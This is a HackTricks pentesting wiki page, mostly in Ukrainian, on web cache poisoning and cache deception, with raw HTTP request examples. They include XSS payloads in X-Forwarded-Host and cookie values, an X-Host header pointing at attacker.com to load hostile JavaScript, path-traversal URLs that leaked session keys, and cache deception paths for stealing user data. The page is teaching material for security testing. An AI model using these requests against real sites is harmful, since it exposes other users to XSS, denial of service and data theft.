maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity
hacktricks/src/pentesting-web/cache-deception
History

README.md

Cache Poisoning and Cache Deception

{{#include ../../banners/hacktricks-training.md}}

The difference

Яка різниця між отруєнням кешу веб-додатків та обманом кешу веб-додатків?

  • У отруєнні кешу веб-додатків зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу.
  • У обмані кешу веб-додатків зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей контент з кешу.

Cache Poisoning

Отруєння кешу спрямоване на маніпулювання кешем на стороні клієнта, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частковими або під контролем зловмисника. Ступінь впливу залежить від популярності ураженої сторінки, оскільки забруднена відповідь надається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.

Виконання атаки отруєння кешу включає кілька етапів:

  1. Ідентифікація незахищених вхідних даних: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
  2. Експлуатація незахищених вхідних даних: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
  3. Забезпечення кешування отруєної відповіді: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.

Discovery: Check HTTP headers

Зазвичай, коли відповідь була збережена в кеші, буде заголовок, що це вказує, ви можете перевірити, на які заголовки слід звернути увагу в цьому пості: HTTP Cache headers.

Discovery: Caching error codes

Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати надіслати запити з неправильним заголовком, на які має бути відповідь з кодом статусу 400. Потім спробуйте отримати доступ до запиту нормально, і якщо відповідь має статус код 400, ви знаєте, що це вразливе (і ви навіть можете виконати DoS).

Ви можете знайти більше варіантів у:

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Однак зверніть увагу, що іноді такі коди статусу не кешуються, тому цей тест може бути ненадійним.

Discovery: Identify and evaluate unkeyed inputs

Ви можете використовувати Param Miner для грубої сили параметрів і заголовків, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок X-Forwarded-For, щоб вказати клієнту завантажити скрипт звідти:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Викликати шкідливу відповідь від серверу

З ідентифікованим параметром/заголовком перевірте, як він санітується і де він відображається або впливає на відповідь з заголовка. Чи можете ви його зловживати (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)

Отримати відповідь в кеші

Якщо ви ідентифікували сторінку, яку можна зловживати, який параметр/заголовок використовувати і як його зловживати, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.

Заголовок X-Cache у відповіді може бути дуже корисним, оскільки він може мати значення miss, коли запит не кешується, і значення hit, коли він кешується.
Заголовок Cache-Control також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешуватися знову: Cache-Control: public, max-age=1800

Ще один цікавий заголовок - Vary. Цей заголовок часто використовується для вказівки додаткових заголовків, які розглядаються як частина ключа кешу, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає User-Agent жертви, на яку він націлений, він може отруїти кеш для користувачів, використовуючи цей конкретний User-Agent.

Ще один заголовок, пов'язаний з кешем, - Age. Він визначає час у секундах, протягом якого об'єкт перебуває в проксі-кеші.

При кешуванні запиту будьте обережні з заголовками, які ви використовуєте, оскільки деякі з них можуть бути використані несподівано як ключові, і жертва повинна буде використовувати той самий заголовок. Завжди тестуйте отруєння кешу з різними браузерами, щоб перевірити, чи це працює.

Приклади експлуатації

Найпростіший приклад

Заголовок, як-от X-Forwarded-For, відображається у відповіді без санітизації.
Ви можете надіслати базовий XSS-пейлоад і отруїти кеш, щоб усі, хто отримує доступ до сторінки, стали жертвами XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Зверніть увагу, що це отруїть запит до /en?region=uk, а не до /en

Отруєння кешу для DoS

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Використання отруєння веб-кешу для експлуатації вразливостей обробки cookie

Cookie також можуть бути відображені у відповіді сторінки. Якщо ви зможете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу відповідь кешу.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Зверніть увагу, що якщо вразливе cookie дуже часто використовується користувачами, регулярні запити очищатимуть кеш.

Генерація розбіжностей з роздільниками, нормалізацією та крапками

Перевірте:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Отруєння кешу з використанням обходу шляху для викрадення API ключа

Цей звіт пояснює, як було можливим викрасти API ключ OpenAI за допомогою URL, як-от https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, оскільки все, що відповідає /share/*, буде кешуватися без нормалізації URL Cloudflare, що було зроблено, коли запит досяг веб-сервера.

Це також краще пояснюється в:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Використання кількох заголовків для експлуатації вразливостей отруєння веб-кешу

Іноді вам потрібно буде експлуатувати кілька неключових вхідних даних, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти Відкритий редирект, якщо ви встановите X-Forwarded-Host на домен, що контролюється вами, а X-Forwarded-Scheme на http. Якщо сервер перенаправляє всі HTTP запити на HTTPS і використовує заголовок X-Forwarded-Scheme як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Використання з обмеженим заголовком Vary

Якщо ви виявили, що заголовок X-Host використовується як ім'я домену для завантаження JS-ресурсу, але заголовок Vary у відповіді вказує на User-Agent. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Надішліть GET запит з запитом в URL та в тілі. Якщо веб-сервер використовує той, що в тілі, але сервер кешу кешує той, що в URL, будь-хто, хто отримує доступ до цього URL, насправді використовуватиме параметр з тіла. Як у вразливості, яку виявив Джеймс Кеттл на сайті Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Параметричне приховування

Наприклад, можливо розділити параметри на ruby-серверах, використовуючи символ ; замість &. Це може бути використано для вставлення значень непараметризованих параметрів всередину параметризованих і їх зловживання.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Використання HTTP Cache Poisoning шляхом зловживання HTTP Request Smuggling

Дізнайтеся тут, як виконати атаки Cache Poisoning, зловживаючи HTTP Request Smuggling.

Автоматизоване тестування для Web Cache Poisoning

Web Cache Vulnerability Scanner може бути використаний для автоматичного тестування на наявність вразливостей веб-кешування. Він підтримує багато різних технік і є високонастроюваним.

Приклад використання: wcvs -u example.com

Вразливі приклади

Apache Traffic Server (CVE-2021-27577)

ATS переслав фрагмент всередині URL без його видалення і згенерував ключ кешу, використовуючи лише хост, шлях і запит (ігноруючи фрагмент). Тому запит /#/../?r=javascript:alert(1) був надісланий на бекенд як /#/../?r=javascript:alert(1), і ключ кешу не містив корисного навантаження, лише хост, шлях і запит.

GitHub CP-DoS

Відправка неправильного значення в заголовку content-type викликала кешовану відповідь 405. Ключ кешу містив cookie, тому було можливо атакувати лише неавторизованих користувачів.

GitLab + GCP CP-DoS

GitLab використовує GCP-бакети для зберігання статичного контенту. GCP Buckets підтримують заголовок x-http-method-override. Тому було можливо надіслати заголовок x-http-method-override: HEAD і отруїти кеш, щоб він повертав порожнє тіло відповіді. Це також могло підтримувати метод PURGE.

Rack Middleware (Ruby on Rails)

У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка x-forwarded-scheme і встановити його як схему запиту. Коли заголовок x-forwarded-scheme: http надсилається, відбувається перенаправлення 301 на те ж місце, що може призвести до відмови в обслуговуванні (DoS) цього ресурсу. Крім того, додаток може враховувати заголовок X-forwarded-host і перенаправляти користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript-файлів з сервера зловмисника, що становить загрозу безпеці.

403 і сховища

Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешування відповідей 403, ця поведінка може все ще бути присутня в інших проксі-сервісах.

Вставка параметризованих параметрів

Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр size у запитах. Однак, якщо URL-кодована версія параметра (наприклад, siz%65) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр size. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра size призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 цьому параметру призвело до кешованої помилки 400 Bad Request.

Правила User Agent

Деякі розробники блокують запити з user-agent, які відповідають user-agent інструментів з високим трафіком, таких як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.

Неправильні поля заголовків

RFC7230 визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном tchar, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок cache-control відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як \, призводило до кешованої помилки 400 Bad Request.

Знаходження нових заголовків

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Отруєння кешу

Мета отруєння кешу полягає в тому, щоб змусити клієнтів завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією.

Перш за все, зверніть увагу, що розширення, такі як .css, .js, .png тощо, зазвичай налаштовуються на збереження в кеші. Тому, якщо ви отримуєте доступ до www.example.com/profile.php/nonexistent.js, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення .js. Але, якщо додаток відповідає з чутливими даними користувача, збереженими в www.example.com/profile.php, ви можете вкрасти ці дані у інших користувачів.

Інші речі для тестування:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Використовуйте менш відомі розширення, такі як .avif

Ще один дуже чіткий приклад можна знайти в цьому звіті: https://hackerone.com/reports/593712.
У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як http://www.example.com/home.php/non-existent.css, вміст http://www.example.com/home.php (з чутливою інформацією користувача) буде повернуто, і сервер кешу збережеться результат.
Тоді зловмисник може отримати доступ до http://www.example.com/home.php/non-existent.css у своєму браузері та спостерігати за конфіденційною інформацією користувачів, які отримали доступ раніше.

Зверніть увагу, що кеш-проксі повинні бути налаштовані на кешування файлів на основі розширення файлу (.css) і не на основі content-type. У прикладі http://www.example.com/home.php/non-existent.css буде мати text/html content-type замість text/css mime type (який очікується для .css файлу).

Дізнайтеся тут, як виконати атаки отруєння кешу, зловживаючи HTTP Request Smuggling.

Автоматичні інструменти

  • toxicache: сканер на Golang для виявлення вразливостей отруєння веб-кешу в списку URL-адрес і тестування кількох технік ін'єкцій.

Посилання

{{#include ../../banners/hacktricks-training.md}}